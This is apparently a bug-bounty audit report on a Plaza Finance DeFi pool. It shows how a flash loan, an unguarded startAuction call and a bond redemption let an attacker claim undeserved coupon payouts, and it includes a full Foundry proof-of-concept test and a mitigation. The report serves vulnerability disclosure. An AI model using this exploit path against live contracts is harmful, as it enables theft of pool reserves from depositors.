Strong Lava Haddock

High

# Malicious Actor can Exploit the Pool Reserve using BondETH and Coupon Issuance Mechanism

### Summary

Malicious actor can manipulate the Bond and coupon issuance mechanism, resulting in taking the monetary gains in form of coupons. Malicious actor make the pool to distribute un-necessary coupons to himself.

 - Any user can come before the auction is about to start, and mint the BondETH to get a coupon.
 - All the necessary information required can be found through `Pool::getPoolInfo()`, like `distributionPeriod`, `lastDistribution`.

**This can be done at large scale putting the whole pool resererve on risk, At the time auction is about to start with the help of mechanism like flash loan**
1. Minting the BondETH coupons before the auction start,
2. Start the auction (no access control), Now the period is updated.
3. Burn the BondETH (get the initially deposit value back), (it would not reset the shares). Slippage loss would not be problem .
    - we are comparing to rates while redeeming `BondETH`. `marketRate` and `redeemRate` and taking the lower one.
    - `redeemRate` wouldn't be a problem. Because atomic nature of transaction, and we redeeming in the same transaction dealing with BondETH only.
    -  (MarketRate is considered by the price taking from Aero Pool). As this time everyone will be considering purchasing the BondETH for the sake of coupon reward, so I believe the `marketRate` will be higher than `redeemRate`. 
4. Wait for the auction period to end.
5. Claim the coupon token.

**We also have other option available.  In which we don't have to worry about slipage loss at all.**
- As there will be another pool of same BondETH will be deployed on Aero Pool, Which we use for the price feed.
- We can use that pool, directly take flash loan of BondETH.
- Start the auction.
- Repay the flash loan with additional small fees.

### Root Cause
This attack is possible because for multiple reasons :-
1. No access control in `Pool::startAuction()` (Intended behaviour but can cause harm), which increase the period.
2. We are not reseting the shares while the user redeem (burn) them (Intended Behaviour) but can exploit the pool reserves. 
```solidity
  function startAuction() external whenNotPaused() {
  

    // Check if distribution period has passed
    require(lastDistribution + distributionPeriod < block.timestamp, DistributionPeriodNotPassed());

    // Check if auction period hasn't passed
    require(lastDistribution + distributionPeriod + auctionPeriod >= block.timestamp, AuctionPeriodPassed());

    // Check if auction for current period has already started
    (uint256 currentPeriod,) = bondToken.globalPool();
    require(auctions[currentPeriod] == address(0), AuctionAlreadyStarted());

    uint8 bondDecimals = bondToken.decimals();
    uint8 sharesDecimals = bondToken.SHARES_DECIMALS();
    uint8 maxDecimals = bondDecimals > sharesDecimals ? bondDecimals : sharesDecimals;

    uint256 normalizedTotalSupply = bondToken.totalSupply().normalizeAmount(bondDecimals, maxDecimals);
    uint256 normalizedShares = sharesPerToken.normalizeAmount(sharesDecimals, maxDecimals);

    // Calculate the coupon amount to distribute
    uint256 couponAmountToDistribute = (normalizedTotalSupply * normalizedShares)
        .toBaseUnit(maxDecimals * 2 - IERC20(couponToken).safeDecimals());
    auctions[currentPeriod] = Utils.deploy(
      address(new Auction()),
      abi.encodeWithSelector(
        Auction.initialize.selector,
        address(couponToken),
        address(reserveToken),
        couponAmountToDistribute,
        block.timestamp + auctionPeriod,
        1000,
        address(this),
        poolSaleLimit
      )
    );

    // NOTE Increase the bond token period (important)
    bondToken.increaseIndexedAssetPeriod(sharesPerToken);

    // Update last distribution time
    lastDistribution = block.timestamp;
  }

```

3. Once the period is increased in `BondToken::increaseIndexedAssetPeriod()`.

```solidity
    function increaseIndexedAssetPeriod(uint256 sharesPerToken) public onlyRole(DISTRIBUTOR_ROLE) whenNotPaused() {
    globalPool.previousPoolAmounts.push(
      PoolAmount({
        period: globalPool.currentPeriod,
        amount: totalSupply(),
        sharesPerToken: globalPool.sharesPerToken
      })
    );
    globalPool.currentPeriod++;
    globalPool.sharesPerToken = sharesPerToken;

    emit IncreasedAssetPeriod(globalPool.currentPeriod, sharesPerToken);
  }
```
4. Now when redeeming, `Pool::redeem()` call to `BundToken::burn()` then `BondToken::_update` which updating the shares `BondToken::updateIndexedUserAssets()` and it calculating shares and updating through `BondToken::getIndexedUserAmount()`.

In `getIndexedUserAmount` shares are calculating and it just adding, not overriding the shares. Therefore even after burning the tokens, the share still exist until we claim the coupon.

```solidity
  function getIndexedUserAmount(address user, uint256 balance, uint256 period) public view returns(uint256) {
    IndexedUserAssets memory userPool = userAssets[user];
    uint256 shares = userPool.indexedAmountShares;

    for (uint256 i = userPool.lastUpdatedPeriod; i < period; i++) {
    // NOTE
      shares += (balance * globalPool.previousPoolAmounts[i].sharesPerToken).toBaseUnit(SHARES_DECIMALS);
    }
    return shares;
  }
```
Link: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/BondToken.sol#L190C1-L199C4



### Internal Pre-conditions

- `lastDistribution`+ `distributionPeriod` should be < `block.timestamp`
- Just mint token before auction start.
- To do it on the large scale we have to be the one who start auction after minting the token.
- Reserves should be available for distribution, as stated in docs. The 90% sale limit shouldn't be crossed.


### External Pre-conditions

- No External pre-conditions required but as high the price, the bigger the loss can be. As malicious actor can calulate accordingly.

### Attack Path

1. Get Flash loan, at the time auction is about to start. 
2. Mint BondETH.
3. Start Auction
4. Burn BondETH
5. Repay Loan.
6. Wait for auction complete
7. Claim Coupon

### Impact

### Impact
The numbers is based on `POC`.
Starting the pool at Healthy ratio as used in `script/TestnetScript.s.sol`.
```solidity
ETH PRICE = 3125/Token
WstETH Reserve Amount: 100 ether,
Bond ETH Supply: 2500 ether
LevETH Supply: 100 ether
```

According to the above pool rate, we took a loan 50 ether and go through the above attack path. At the price of `$3125/ETH` able to mint `1562.5 ether Bond` (1562500000000000000000). So the total supply of BondETH went up around `4062.5 ether` (4062500000000000000000).

According to the supply and `sharePerToken` of `2.5 Per BondETH` the total copon is around required `10156.25 ether`. From that total supply we manage to take the profit of `3906.25 ether USDC` (3906250000000000000000).

```solidity
  1562500000000000000000      3906250000000000000000
  ----------------------- ==  ----------------------
  4062500000000000000000      10156.25 ether           total coupon = 4062.5 * 2.5 = 10156.25
```
- As explained above we can also take flash loan of BondETH directly. Profit would be (Claimed Amount - Flash loan fees)

**This is mere an example, a number can easily go up with real time calculation based on pool.**

### PoC

We are mocking Auction Procedure. 

For initial pool value Healthy rate is considered which used in `script/TestnetScript.s.sol`.
```solidity
  // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Auction} from "../src/Auction.sol";
import {Utils} from "../src/lib/Utils.sol";
import {MockPool} from "./mocks/MockPool.sol";
import {BondToken} from "../src/BondToken.sol";
import {TestCases} from "./data/TestCases.sol";
import {Decimals} from "../src/lib/Decimals.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {Validator} from "../src/utils/Validator.sol";
import {OracleReader} from "../src/OracleReader.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {console} from "forge-std/console.sol";

contract TokenManipulation is Test, TestCases {
  using Decimals for uint256;
  using Strings for uint256;

  PoolFactory private poolFactory;
  PoolFactory.PoolParams private params;
  BondToken public bond;
    LeverageToken public lev;
    Pool public pool; 
    Token rToken;

  MockPriceFeed private mockPriceFeed;
  address private oracleFeedsContract;

  address private deployer = address(0x1);
  address private minter = address(0x2);
  address private governance = address(0x3);
  address private securityCouncil = address(0x4);
  address private user = address(0x5);
  address private user2 = address(0x6);
  address private user3 = address(0x7);
  address private user4 = address(0x8);
  // uint totalBuyCouponAmount = 10156.25 ether; // total bond = 4062.5 * 2.5 = 10156.25
  uint totalBuyCouponAmount = 10156.25 ether; // total bond = 4062.5 * 2.5 = 10156.25

  address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);
  uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8;
  uint8 private constant CHAINLINK_DECIMAL = 8;

  /**
   * @dev Sets up the testing environment.
   * Deploys the BondToken contract and a proxy, then initializes them.
   * Grants the minter and governance roles and mints initial tokens.
   */
  function setUp() public {
    vm.startPrank(deployer);

    address contractDeployer = address(new Deployer());
    oracleFeedsContract = address(new OracleFeeds());

    address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
    address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
    address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
    address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

    poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
      PoolFactory.initialize, 
      (governance, contractDeployer, oracleFeedsContract, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
    )));

    params.fee = 0;
    params.feeBeneficiary = governance;
    params.reserveToken = address(new Token("Wrapped ETH", "WETH", false));
    params.sharesPerToken = 2_500_000;
    params.distributionPeriod = 10 days;
    params.couponToken = address(new Token("USDC", "USDC", false));
    
    OracleFeeds(oracleFeedsContract).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 1 days);

    // Deploy the mock price feed
    mockPriceFeed = new MockPriceFeed();

    // Use vm.etch to deploy the mock contract at the specific address
    bytes memory bytecode = address(mockPriceFeed).code;
    vm.etch(ethPriceFeed, bytecode);

    // Set oracle price
    mockPriceFeed = MockPriceFeed(ethPriceFeed);
    mockPriceFeed.setMockPrice(3125 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));
    
    vm.stopPrank();

    vm.startPrank(governance);
    poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
    poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), securityCouncil);

    // Mint and approve reserve tokens
     rToken = Token(params.reserveToken);
    rToken.mint(governance, 100 ether);
    rToken.approve(address(poolFactory), 100 ether);

    pool = Pool(poolFactory.createPool(params, 100 ether, 2500 ether, 100 ether, "", "", "", "", false));
    bond = pool.bondToken();
    lev = pool.lToken();
    pool.setAuctionPeriod(10 days);
    vm.stopPrank();
  }

  function testBondShareManipulation() public {

    // Mint coupon required
    vm.startPrank(governance);
    Token sharesToken = Token(pool.couponToken());
    sharesToken.mint(address(pool), totalBuyCouponAmount); // 4062.5 * 2.5 /
    vm.stopPrank();



    vm.startPrank(user);
    uint initAmount = 50 ether;
    deal(address(rToken), user, initAmount); // it could be flash loan more or less according to situation
    rToken.approve(address(pool), rToken.balanceOf(user));
    uint mintedBond = pool.create(Pool.TokenType.BOND, rToken.balanceOf(user), 0);
    console.log("Minted Bond",mintedBond);
    console.log("total suppy", bond.totalSupply());
    vm.stopPrank();


    // User just have to call start Auction
    // increase indexed asset period - this is done by Pool when Auction starts but its mocked on this test
    vm.startPrank(address(pool)); // mocking as pool
    pool.bondToken().increaseIndexedAssetPeriod(params.sharesPerToken);
    vm.stopPrank();

    // Note Now user can easily redeem it, as the shares are already minted, 
    // and redeeming the bond wouldn't affect the shares.
    vm.startPrank(user);
    uint amount = pool.redeem(Pool.TokenType.BOND, mintedBond, 0); // redeeming bond
    assert(amount >= initAmount); // safely withdrwal deposit amount

    // Mocking whole auction period so we can claim the shares
    vm.startPrank(user); 
    fakeSucceededAuction(address(pool), 0);
    vm.mockCall(
      address(0),
      abi.encodeWithSignature("state()"),
      abi.encode(uint256(1))
    );
    vm.mockCall(
      address(0),
      abi.encodeWithSignature("totalBuyCouponAmount()"),
      abi.encode(uint256(totalBuyCouponAmount)) // 10156.25
    );
    
    pool.distribute();
    address distributor = poolFactory.distributors(address(pool));
    
    
    assertEq(0, bond.balanceOf(user)); // bond is redeemed
    assertEq(0, Token(pool.couponToken()).balanceOf(user));
    Distributor(distributor).claim();
    uint claimedAmount = Token(pool.couponToken()).balanceOf(user);
    console.log("ClaimedAmount", claimedAmount); // 3906_250000000000000000
    vm.stopPrank();
  /**
  1562500000000000000000      3906250000000000000000
  ----------------------- ==  ----------------------
  4062500000000000000000      10156.25 ether           total bond = 4062.5 * 2.5 = 10156.25
   */
  }


    function fakeSucceededAuction(address poolAddress, uint256 period) internal {
    address auction = Utils.deploy(address(new Auction()), abi.encodeWithSelector(Auction.initialize.selector, params.couponToken, params.reserveToken, totalBuyCouponAmount, block.timestamp + 10 days, 1000, address(0), 95));

    uint256 auctionSlot = 11;
    bytes32 auctionPeriodSlot = keccak256(abi.encode(period, auctionSlot));
    vm.store(address(poolAddress), auctionPeriodSlot, bytes32(uint256(uint160(auction))));

    uint256 stateSlot = 6;
    vm.store(auction, bytes32(stateSlot), bytes32(uint256(1)));
  }

  }
```

### Mitigation

There could be multiple possible solution, one could be.
- Have a buffer time (1 day) once the distributionPeriod is over for whitelisted address to startAuction, if that not started in buffer time anyone can start it. (As due to legal reason, there is no access control is possible on the function.)
    -  It would make attack expensive, as flash loan wouldn't be possible. 
    -  As user have to hold money, in AMM. User can face slippage loss. Making the whole attack non-profitable.